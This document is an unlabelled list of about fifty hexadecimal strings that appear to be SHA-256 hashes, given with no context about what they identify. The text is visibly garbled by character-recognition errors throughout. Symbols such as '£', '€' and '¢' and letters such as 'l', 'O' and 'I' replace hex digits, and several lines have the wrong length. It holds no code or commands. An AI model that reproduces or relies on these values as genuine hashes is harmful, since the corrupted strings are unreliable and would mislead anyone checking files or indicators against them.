83457462d1885acce9f4e46ad4053d050d3b0c7£3935b61£378e52f0eed5a68b
8028b918d06cf3635e7e77d29cb0a4622d8cf4ee30881fb297435£7328ff45e4
6be4dd9af27712f5ef6dc7d684eb5eal07fa675b8cbed3094612a6696a40c664ce
8a1020b6baecabfa7lcefee7cbal32£232b3ba8f5daacb6b3e49ca82f777dda2
1e6c661d6981c0fab6c011c29536e57d21545£d11205edd£9218269ddf53d448
87195b982b8300765deca2337£4789bd456£280c1e9£59e323bb260e47c5£710
879deb07a70a61039c41c9094301bda3b107166a7ffbd0b9e05e9bb2della2ee
9669500fdecdd842c3c21£0255fc2e0cb0f9dbfe26c4535670£056bb13bf239b
£6363f60aaccea8£1099af39d0631c201c56fa4d6bc617546£c179b4ec8872c4
b13201957eec1248b3d91£2£d5a0b5d999c0c77644810f4aa28c9ecd0faf8828
£1d519f43c36e24a89b351£00059a1bdb9afc2a339£7301117babb484e2cc555
391810015472e01dfbe11b09daf340e8304ae9aea9936f9a3b4384a7942b6490
e63e0ccaa29b7b18145d5£fb2b0fe439365fed28c0daa818£989f64f94cal3bada
ca05513c365c60a8fdabd9e21938796822ecda03909b3eebf12eb82fefal34d84
fbe712659d5b90a666df5501bf73££40d8062031£68d96a15£1c8002d9b2f91a
3e6772aca8bb8e71956349f1ea9fecdabd9b9cfal0£8cdbf846c169ab468a370
4edc77c3586ccc255460£047bd337b2d09e2339e3b0b0c92d68cddedf2acleb4
£7e29ad2b0d3dabc2a9fa8£54629cdd7b5b890a04b7408c7bdbd02e5772c5103
dOc4eb52eal0041cabb5d9elaecal7e0fe8a588879a03415£609b195cfbd69caafc
ca0dfda9a329£5729b3cal07c6578b3b6560e7cfacff8d988d1fe8cIcab896dab
6784b646378c650a86badfdd4baaaf608ebecdf171c71bb7720£83965¢cc8c96E
1221e8b14256cd0d447df9ca8b9951eb71££9003ea89b89e4a164d15c235884d
3b06£4629398e2f78b0c039fefe18£8479e5353399f8e706c94cc0e05clafb1lb
a696e8c51fc04d2d4dd33d4c282a4fdccca9f29913caa8aflab69ec4135fabb66
12742dc£11819£77a824978250cb233c7737526320e5199861a97bbd15975842
09a6adb71fab41a3ed2e0338af6174e23£d1d579967a7bd22b8892625d64£7b9
fb640cfb9a86b9dc6806b048c6a88ef6f£546caB830a147322b4e3a3646b70942
004a8c5224b6a8bd5715cce806403£40148faf87£223a49b16aa6b44241c1243
79d552fb9b4e2f02ec428e0ec2bbc93507£1b932ff99e4e23ed0a841310e3ed7
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a1f98d32780615abfbfd79cc98£67044a803d93a3598d9c2948f6ealb82aa79f
1c91df4807bc4bb00d2581c25e6c35ead3968b61c006030a7€922120£71£3478
a92c601003774e27c5047fa42a963fb83bec659561685169e8bbddeb917a139d
8decdfebe000475d09£077a3d5b06843£1138e307141e0d0433526ae7037731d
96781984568b6eb0d8e8a2b8f60bfb44d72418af3d9b8cdc764ce71833813685
62£8363b8ababa3800a7abedaclccad2216626a9fa84698ec7ece3ef8cal83a36
e4afe0365e18a9ec1c291fb941ab1d068d461f0e767£80683a3£335d267067ca
a68dbacb812432afd5ce2d0260594d7bf99175dba27c1d28e3b45489b01002c5
517ba2d7ccc734ae6d96809bae420555cae7ad1f£9c3df026ef54ec1986c6983
5dd80de3638d88£06564b8e5£01747c095166£82536eb4c8fe5729d64e03df7e
14bcb7196143£d2b800385e9b32¢cfacd837007b0face71a73b546b53310258bb
e81982e40eebaaed85817343464d621179a311855ca7bcc514d70f47ed5a2¢c67
fO0aaba27ea01362dce9ced3685961d599e1c9203eef171b76c855a3db41flect
8c9e1f17e82369d857e5bf3c41f0609b1e75£d5a4080634bc8ae7291ebe2186¢
58ed2920063d16078decd59bcf02229022dc15d4f3a4c96fcabd2b8752322ec9
856ab3c0c79b25eb1f0ac0fbb8bd243£6c67d07a7ed6a3849fceb318b5ba97b7
1cb£860e99dcd2594a9de3c616ee86c894d85145bc42e55f4fed3a31ef7¢c2292
ffbf56e633688e08571127b7dc6aa06abe436b2bc378281£130c82b03656eaba
54549745868b27£5e533a99b3c10f29bc5504d01bd0792568f2ad1569625b1fd
d6£8£306dffec6072e588c618c62bbb90£427853a12a61504c3b731993427786
433655572c0£319e576a451d069a29966£9d6b409207a649f286ab34d1c8cfeb
e7b257c656877e65a59f0£f7£d8d811e37d9c4324029b73e6394a79a280e73abb
a4cbaa2bc61068e4dc64ef084587e712645ea165b153404cc1d8eeb758f9ecaf
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